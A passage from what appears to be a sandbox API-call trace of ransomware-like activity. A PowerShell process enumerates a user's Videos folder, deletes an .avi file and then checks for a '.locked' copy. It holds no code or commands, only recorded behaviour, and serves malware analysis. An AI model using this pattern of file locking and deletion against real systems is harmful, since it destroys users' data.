(lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by")) returned 0x10 [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By", lpFilePart=0x0) returned 0x3a [0137.881] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0137.881] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e")) returned 0x10 [0137.881] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0137.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e", lpFilePart=0x0) returned 0x4c [0137.882] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6")) returned 0x10 [0137.882] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6")) returned 0x10 [0137.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6", nBufferLength=0x105, lpBuffer=0x99adf24, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6", lpFilePart=0x0) returned 0x52 [0137.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\.", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6", lpFilePart=0x0) returned 0x52 [0137.882] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 0x20 [0137.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99adf28, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.882] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99adebc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.883] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae064, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae524) returned 1 [0137.883] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae02c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.883] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi\\", nBufferLength=0x105, lpBuffer=0x99ae000, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi\\", lpFilePart=0x0) returned 0x6b [0137.883] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi\\*", lpFindFileData=0x99ae24c | out: lpFindFileData=0x99ae24c) returned 0xffffffff [0137.883] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae4e8) returned 1 [0137.883] CoTaskMemAlloc (cb=0x404) returned 0x8eb8d30 [0137.883] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x8eb8d30, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0137.883] CoTaskMemFree (pv=0x8eb8d30) [0137.884] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 0x20 [0137.884] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99adff0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.884] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99adf6c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.884] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae448) returned 1 [0137.885] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi"), fInfoLevelId=0x0, lpFileInformation=0x6b56080 | out: lpFileInformation=0x6b56080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4b0c1b0, ftCreationTime.dwHighDateTime=0x1d4ad11, ftLastAccessTime.dwLowDateTime=0x2936b930, ftLastAccessTime.dwHighDateTime=0x1d49f96, ftLastWriteTime.dwLowDateTime=0x2936b930, ftLastWriteTime.dwHighDateTime=0x1d49f96, nFileSizeHigh=0x0, nFileSizeLow=0x13826)) returned 1 [0137.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.885] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi")) returned 1 [0137.890] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.890] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.890] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.890] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x21, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.890] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.892] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi.locked")) returned 0x20 [0137.892] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\h3gpsrpfuxx-lsw0mv\\yer-lve8by\\ykk5tdfylxglxp86e\\hcep6\\ku8w1obiy0waauus13q.avi.locked")) returned 0x20 [0137.892] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked", lpFilePart=0x0) returned 0x71 [0137.892] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi.locked", lpFilePart=0x0) returned 0x71 [0137.892] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.892] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\h3GpSrpfUxX-LSW0Mv\\yEr-LvE8By\\YKk5TdfyLXgLxP86e\\HcEp6\\kU8W1Obiy0WAauUs13Q.avi", lpFilePart=0x0) returned 0x6a [0137.893] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.893] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.893] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x22, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.893] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.894] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.894] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.894] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.894] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x23, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.894] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.896] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.896] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.897] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.897] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x24, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.897] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.898] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.898] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x8a00\x7411\xe3b8\x99a\x1b2a\x73b9\x1228\x64b\xbab0\x42f\x14\x01\x1230\x64b\xd440\x73ae\xd81\x73eb\x3ad3\x6b24\x18") returned 0x0 [0137.898] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.898] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x25, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.899] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.900] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.900] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="\x19f5\x73b9\xfff0\x6b7") returned 0x0 [0137.901] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.901] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x26, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.901] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.902] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x27, [1]=0x1c, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.905] CloseHandle (hObject=0x764) returned 1 [0137.905] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae54c | out: 